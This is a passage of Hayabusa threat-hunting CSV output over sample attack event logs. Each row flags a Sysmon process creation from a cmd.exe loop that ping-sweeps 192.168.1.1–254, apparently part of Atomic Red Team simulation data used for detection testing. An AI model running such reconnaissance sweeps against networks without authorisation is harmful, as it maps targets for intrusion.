192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:13.022 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.197 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:13.509 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.198 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:14.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.199 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:14.513 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.200 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:15.001 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.201 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:15.518 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.202 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:16.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.203 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:16.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.204 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:17.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.205 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:17.438 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.206 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:18.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.207 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:18.544 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.208 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:19.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.209 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:19.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.210 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:20.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.211 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:20.571 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.212 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:21.020 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.213 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:21.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.214 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:22.035 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.215 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:22.520 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.216 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:23.011 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.217 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:23.546 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.218 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:23.993 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.219 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:24.504 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.220 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:25.008 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.221 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:25.544 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.222 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:26.004 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.223 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:26.430 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.224 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:27.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.225 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:27.555 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.226 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:28.035 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.227 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:28.511 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.228 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:29.009 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.229 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:29.534 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.230 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:30.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.231 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:30.521 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.232 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:31.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.233 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:31.530 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.234 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:32.058 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.235 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:32.614 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.236 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:33.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.237 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:33.548 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.238 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:34.005 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.239 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:34.556 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.240 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:35.024 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.241 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:35.559 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.242 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:36.025 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.243 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:36.536 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.244 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:37.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.245 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:37.505 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.246 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:38.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.247 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:38.588 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.248 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:39.024 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.249 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:39.518 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.250 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:40.006 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.251 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:40.535 +09:00,MSEDGEWIN10,1,informational,Process 